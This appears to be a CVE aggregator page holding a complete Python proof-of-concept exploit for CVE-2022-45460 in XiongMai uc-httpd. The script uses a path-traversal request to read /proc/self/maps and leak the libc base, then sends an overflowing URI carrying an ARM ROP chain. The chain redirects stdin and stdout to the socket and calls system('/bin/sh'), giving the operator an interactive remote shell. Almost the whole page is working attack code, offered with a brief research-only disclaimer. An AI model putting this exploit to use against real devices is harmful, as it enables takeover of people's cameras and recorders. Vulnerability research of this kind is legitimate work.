4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
# Exploit Proof of Concept (PoC)
#
# Author: born0monday
# Target: XiongMai uc-httpd
# CVE: CVE-2022-45460 
# Description:  
# This script exploits a stack-based buffer overflow in the URI parsing of uc-http.
# A crafted request overwrites the return address, triggering a ROP chain to achieve RCE.
# 
# Disclaimer:  
# This code is for educational and research purposes only.  
# Use it responsibly and only on systems you have explicit permission to test.

import sys
import socket
import select
import struct

HOST, PORT = sys.argv[1], int(sys.argv[2])

GADGETS = {
    "libc.so.0": {
        0: 0xF964,  # mov r0, r3; pop {r4, pc}
        1: 0x1CDCC, # mov r1, #1; mov r2, r6; blx r5
        2: 0x175CC, # pop {r3, pc}
        3: 0x368DC, # mov r0, sp; blx r3
    },
    "libuClibc-0.9.32.1.so": {
        0: 0xF964,  # mov r0, r3; pop {r4, pc}
        1: 0x1CDCC, # mov r1, #1; mov r2, r6; blx r5
        2: 0x175CC, # pop {r3, pc}
        3: 0x368DC, # mov r0, sp; blx r3
    },
    "libuClibc-0.9.33.3-git.so": {
        0: 0xF3C4,  # mov r0, r3; pop {r4, pc}
        1: 0x22D74, # mov r1, #1; mov r2, r6; blx r5
        2: 0xCA60,  # pop {r3, pc}
        3: 0x151AC, # mov r0, sp; blx r3
    },
}

SYMBOLS = {
    "libc.so.0": {
        "fileno": 0x31030, # fileno + 0x4
        "dup2":   0xCE60,  # dup2 + 0x4
        "system": 0x535E8, # system
    },
    "libuClibc-0.9.32.1.so": {
        "fileno": 0x31030, # fileno + 0x4
        "dup2":   0xCE60,  # dup2 + 0x4
        "system": 0x535E8, # system
    },
    "libuClibc-0.9.33.3-git.so": {
        "fileno": 0x32AA0, # fileno + 0x4
        "dup2":   0xC720,  # dup2 + 0x4
        "system": 0x547C4, # system
    },
}

PADDING = b"XXXX"


def p32(addr):
    return struct.pack("<I", addr)


def parse_maps(maps):
    for line in maps.split(b"\n"):
        lib = line.split(b"/")[-1].decode()
        if lib in GADGETS.keys() and b"r-xp" in line:
            addr = int(line.split(b"-")[0].decode(), 16)
            print(f"{lib} found at {hex(addr)}")
            return lib, addr
    return None, None


def fetch_maps():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        print(f"connecting to {HOST}:{PORT}")
        sock.connect((HOST, PORT))

        sock.send(b"GET /../../../../../proc/self/maps HTTP/1.1\r\n")
        sock.send(b"\r\n\r\n")

        resp = b""
        while True:
            data = sock.recv(2048)
            if not data:
                break
            resp += data
        return resp


def interactive(sock):
    print("switching to interactive mode.")
    try:
        while True:
            read_list = [sys.stdin, sock]
            readable, _, _ = select.select(read_list, [], [])
            
            for r in readable:
                if r is sock:
                    data = sock.recv(4096)
                    if not data:
                        print("\nconnection closed by the remote side.")
                        return
                    sys.stdout.write(data.decode())
                    sys.stdout.flush()
                elif r is sys.stdin:
                    user_input = sys.stdin.readline()
                    sock.send(user_input.encode())
    except KeyboardInterrupt:
        print("\nexiting interactive mode.")


def main():
    maps = fetch_maps()
    libc, libc_base = parse_maps(maps)

    # fd = fileno(FILE *stream)
    # dup2(fd, 0) 
    # dup2(fd, 1) 
    # system("/bin/sh")

    payload = b""
    payload += 304 * b"A"
    payload += p32(libc_base + GADGETS[libc][0]) # mov r0, r3; pop {r4, pc}
    payload += PADDING # r4
    payload += p32(libc_base + SYMBOLS[libc]["fileno"])
    # fileno epilogue: ldmia sp!,{r4,r5,r6,r7,r8,pc}
    payload += PADDING # r4
    payload += p32(libc_base + SYMBOLS[libc]["dup2"]) # r5
    payload += PADDING # r6
    payload += PADDING # r7
    payload += PADDING # r8
    payload += p32(libc_base + SYMBOLS[libc]["dup2"]) # dup2, r1 = 0 -> STDIN
    # dup2 epilogue: ldmia sp!,{r7,pc}
    payload += PADDING # r7
    
    # dup2 r1 = 1 -> STDOUT
    payload += p32(libc_base + GADGETS[libc][1]) # mov r1, #1; mov r2, r6; blx r5
    # dup2 epilogue: ldmia sp!,{r7,pc}
    payload += PADDING # r7
    
    # shell
    payload += p32(libc_base + GADGETS[libc][2]) # pop {r3, pc};
    payload += p32(libc_base + SYMBOLS[libc]["system"]) # r3
    payload += p32(libc_base + GADGETS[libc][3]) # mov r0, sp; blx r3

    if b"\x00" in payload:
        print("null bytes in payload :/")
        sys.exit(1)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((HOST, PORT))
        sock.send(b"GET /" + payload + b"/bin/sh;.mns.cab HTTP/1.1")
        sock.send(b"\r\n\r\n")
    
        interactive(sock)


if __name__ == "__main__":
    main()